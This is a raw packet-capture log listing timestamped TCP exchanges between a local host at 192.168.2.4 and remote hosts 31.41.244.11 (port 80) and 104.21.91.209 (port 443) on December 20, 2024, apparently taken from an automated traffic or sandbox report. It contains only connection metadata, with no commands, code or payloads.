Dec 20, 2024 04:12:37.751972914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.752161980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.752204895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.752938986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.752998114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.753072977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.753118992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.753985882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.754143953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.754192114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.755039930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.755054951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.755083084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.755103111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.756077051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.756123066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.756190062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.757083893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.757132053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.757298946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.757385015 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.758249998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.758295059 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.758449078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.758508921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.759171009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.759247065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.759290934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.760231018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.760276079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.760303020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.760344982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.761249065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.761318922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.761399031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.761436939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.762248993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.762494087 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.762536049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.763247967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.763303041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.763365030 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.763425112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.764267921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.764514923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.764554977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.764611006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.765266895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.765324116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.788480997 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:37.788511038 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:37.788736105 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:37.789299011 CET	49856	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:37.789311886 CET	443	49856	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:37.903218031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.903239012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.903301001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.903301001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.903618097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.903695107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.903708935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.903783083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.904439926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.904544115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.904556990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.904743910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.905533075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.905661106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.905776978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.906524897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.906599045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.906625032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.907300949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.907497883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.907635927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.907661915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.907726049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.908660889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.908854008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.909590960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.909619093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.909653902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.909921885 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.910613060 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.910712004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.910834074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.911629915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.911812067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.911838055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.912149906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.912801981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.912816048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.912882090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.912882090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.913707972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.913760900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.913788080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.913871050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.914786100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.914859056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.914901972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.915632963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.915729046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.915931940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.915958881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.916845083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.916935921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.916964054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.917735100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.917814016 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.917917013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.917948961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.918210030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.918883085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.918960094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.919044971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.919100046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.919926882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.920054913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.920064926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.920439959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.920999050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.921361923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.921528101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.921962976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.922085047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.922151089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.922151089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.923011065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.923162937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.923188925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.923755884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.924037933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.924212933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.924238920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.925085068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.925175905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.925204992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.926127911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.926160097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.926187992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.926440001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.927160025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.927176952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.927612066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.928283930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.928299904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.928602934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.929236889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.929408073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.929435968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.930268049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.930295944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.930445910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.931233883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.931267023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.931330919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.932280064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.932307959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.932445049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.933212996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.933357954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.933379889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.933408022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.933875084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.934350967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.934468031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.934482098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.934514999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.935389042 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.935467005 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.935548067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.935826063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.936429024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.936594009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.936672926 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.937423944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.937450886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.937710047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.937936068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.938488960 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.938780069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.939502001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.939549923 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.939560890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.940411091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.940548897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.940633059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.940660000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.940692902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.941565990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.941658974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.941939116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.942611933 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.942667007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.942670107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.942770958 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.943623066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.943725109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.943835974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.944691896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.944736958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.944767952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.944819927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.945696115 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.945832014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.945916891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.946868896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.946888924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.946994066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.946994066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.947793961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.947865009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.947891951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.948225975 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.948770046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.948894024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.948920012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.949790001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.949920893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.949943066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.950105906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.950877905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.951037884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.951088905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.951863050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.951987028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.952013016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.952415943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.952914953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.953149080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.953174114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.953469038 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.953937054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.954071045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.954097033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.954159021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.954931974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.954974890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.955003023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.955106974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.955996990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.956093073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.956491947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.957027912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.957212925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.095361948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.095433950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.095585108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.095707893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.095907927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.096160889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.096276999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.097050905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.097251892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.097273111 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.097634077 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.097973108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.098339081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.098429918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.099050999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.099114895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.099179029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.099294901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.100017071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.100117922 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.100141048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.100272894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.101219893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.101234913 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.101303101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.102112055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.102185011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.102236032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.102329016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.103089094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.103276968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.103302956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.103507042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.104152918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.104235888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.104266882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.104353905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.105341911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.105356932 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.105438948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.106252909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.106326103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.106389046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.106620073 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.107289076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.107393980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.107413054 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.107470036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.108293056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.108362913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.108405113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.109358072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.109374046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.109405041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.110151052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.110372066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.110444069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.110575914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.111337900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.111464977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.111469984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.111569881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.112426996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.112529993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.112574100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.112864017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.113410950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.113528013 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.113532066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.114447117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.114500046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.114656925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.114677906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.114778042 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.115468979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.115530014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.115608931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.115703106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.116511106 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.116584063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.116607904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.116679907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.117649078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.117724895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.117799044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.118645906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.118755102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.118868113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.118932009 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.119599104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.119791031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.119999886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:38.120652914 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:38.120722055 CET	80	49838	31.41.244.11	192.168.2.4
